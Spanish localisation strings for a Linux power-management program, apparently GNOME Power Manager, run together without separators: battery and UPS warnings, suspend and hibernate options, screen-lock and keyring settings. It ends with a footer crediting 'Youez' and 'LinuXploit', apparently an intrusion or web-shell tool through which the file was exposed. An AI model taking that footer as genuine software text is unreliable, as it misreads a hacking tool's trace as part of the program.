Para obtener más información visite el sitio de reclamación de baterías.La batería está por debajo del nivel crítico y este equipo se va a poner a hibernar.La batería está por debajo de un nivel crítico y este equipo se apagará.La batería está por debajo de un nivel crítico y este equipo se va a suspender. <br><b>NOTA:</b> Se requiere una pequeña cantidad de energía para mantener su equipo en un estado de suspensión.La batería está por debajo de un nivel crítico y este equipo se <b>apagará</b> cuando la batería esté completamente vacía.El brillo de la pantalla cuando se está usando el adaptador de corriente. Los valores válidos están entre 0 y 100.El brillo de la pantalla cuando está inactivoEl teléfono móvil conectado a este equipo se está quedando sin carga (%.1f%%)No se ha instalado correctamente la configuración predeterminada para el Gestor de energía.
Contacte con el administrador de su sistema.La cantidad de tiempo predeterminada para atenuar la pantalla después de la inactividadLa cantidad de tiempo predeterminada para atenuar la pantalla después de la inactividad.La versión de la configuración predeterminada.El tipo de gráfica predeterminado que mostrar en la ventana de estadísticasEl tipo de gráfica predeterminado que mostrar en la ventana de estadísticas.La máxima duración del tiempo mostrada en el eje X de la gráfica.El tiempo máximo mostrado en la gráficaEl número de segundos de inactividad para reducir la velocidad de rotación de los discos cuando se esté usando el adaptador de corriente.El número de segundos de inactividad para reducir la velocidad de rotación de los discos cuando se esté usando la batería.El porcentaje de la batería considerado crítico. Sólo es válido cuando use_time_for_policy está desactivado.El porcentaje de la batería considerado bajo. Sólo es válido cuando use_time_for_policy está desactivado.El porcentaje de la batería cuando se realiza la acción crítica. Sólo es válido cuando use_time_for_policy está desactivado.El tiempo restante en segundos de la batería cuando se realiza la acción crítica. Sólo es válido cuando use_time_for_policy está activadoEl tiempo restante en segundos de la batería considerado crítico. Sólo es válido cuando use_time_for_policy está activado.El tiempo restante en segundos de la batería considerado bajo. Sólo válido cuando use_time_for_policy está activado.El tiempo restante cuando se toma la acciónEl tiempo restante considerado críticoEl tiempo restante considerado bajoEl tipo de estado de reposo que debería realizarse cuando el equipo esté inactivo. Los valores posibles son "hibernate" (hibernar), "suspend"(suspender), y "nothing" (ninguno).La versión de la versión instalada del esquema. No edite este valor, se usa para detectar cambios entre las versiones.El teclado inalámbrico conectado a este equipo se está quedando sin carga (%.1f%%)El teclado inalámbrico conectado a este equipo está agotando su carga (%.1f%%). Este dispositivo pronto dejará de funcionar si no se carga.El ratón inalámbrico conectado a este equipo se está quedando sin carga (%.1f%%)El ratón inalámbrico conectado a este equipo está agotando su carga (%.1f%%). Este dispositivo pronto dejará de funcionar si no se carga.No hay datos para mostrar.No hay información detallada para este dispositivoEste es el brillo de la pantalla del portátil cuando la sesión está inactiva. Sólo es válido cuando use_time_for_policy está activado.Tiempo transcurridoTiempo para el vaciadoTiempo para la cargaDisparador de «%s»TipoSAI (UPS)SAI (UPS)Descargando el SAIAcción para SAI (UPS) críticamente bajoEl SAI está críticamente bajoSAI bajoAcción para SAI (UPS) bajoActividad del USB %sTecnología desconocidaTiempo desconocidoUsar la configuración de bloqueo de gnome-screensaverUsar línea suavizadaValorFabricanteFabricante:Visitar la página de ayudaVisitar sitio web de reclamacionesVoltaje%s en esperaDespertar «%s»RecuperacionesCuando la carga el SAI (UPS) esté _críticamente baja:Cuando la carga del SAI (UPS) esté _baja:Cuando la carga de la _batería esté críticamente baja:Al cerrar la _tapa del portátil:Cuando falla el reposo se puede mostrar al usuario un botón para ayudarle a resolver la situación. Déjelo en blanco si el botón no se debe mostrar.Al pulsar el botón de _suspensión:Al pulsar el botón de _encendido:Cuando mostrar el icono de notificaciónIndica si NetworkManager debería conectarse y desconectarse al pasar a reposo.Indica si NetworkManager debería desconectarse antes de suspender o hibernar y conectarse al reanudar.Indica si el depósito de claves está bloqueado antes de que el equipo pase a hibernar. Esto significa que tendrá que desbloquear el depósito al reanudar.Indica si el depósito de claves está bloqueado antes de que el equipo se suspenda. Esto significa que tendrá que desbloquear el depósito al reanudar.Indica si se debe o no bloquear la pantalla cuando el equipo se levante de una hibernación. Sólo se usa si «lock_use_screensaver_settings» está desactivado.Indica si se debe o no bloquear la pantalla cuando el equipo se levante de una suspensión. Sólo se usa si «lock_use_screensaver_settings» está desactivado.Indica si se debe bloquear o no la pantalla cuando ésta se apague. Sólo se usa si «lock_use_screensaver_settings» está desactivado.Indica si se debe hibernar, suspender o no hacer nada cuando se esté inactivoIndica si se debe usar el ajuste de bloqueo de pantalla del salvapantallas para decidir si se debe bloquear la pantalla tras una hibernación, suspensión u oscurecimiento de la pantalla.Indica si se deben usar notificaciones basadas en tiempoIndica si se deben mostrar las etiquetas de los ejes en la ventana de estadísticasIndica si se deben mostrar las etiquetas de los ejes en la ventana de estadísticas.Indica si se deben mostrar los eventos en la ventana de estadísticasIndica si se deben mostrar los eventos en la ventana de estadísticas.Indica si se deben suavizar los datos en el gráficoIndica si se deben suavizar los datos en el gráfico.Teclado inalámbricoTeclados inalámbricosRatón inalámbricoRatones inalámbricosCola de trabajo %sSíLe queda aproximadamente <b>%s</b> de carga en el SAI (%.1f%%)Le queda aproximadamente <b>%s</b> de carga en el SAI (%.1f%%). Restaure el adaptador de corriente en su equipo para evitar perder datos.Debería haber recibido una copia de la Licencia Pública General GNU
junto con este programa; si no, escriba a la Free Software Foundation,
Inc., 51 Franklin Street, Fifth Floor, Boston,MA, 02110-1301, EE. UU.Su batería tiene una capacidad muy baja (%1.1f%%), lo que significa que puede ser vieja o estar defectuosa.El teléfono móvil conectado este equipo está agotando su carga (%.1f%%). Este dispositivo pronto dejará de funcionar si no se carga.Su equipo falló al hibernar.Su equipo falló al suspender.Acerca _deMostrar _siempre el iconoAy_udaNo mostrar _nunca el icono_Sólo mostrar cuando la energía de la batería esté bajaPrefere_ncias_Reducir el brillo de fondo_SuspenderhorahorasInhibidaminutominutossin inhibirpantalla despertadapantalla inactiva

Youez - 2016 - github.com/yon3zu
LinuXploit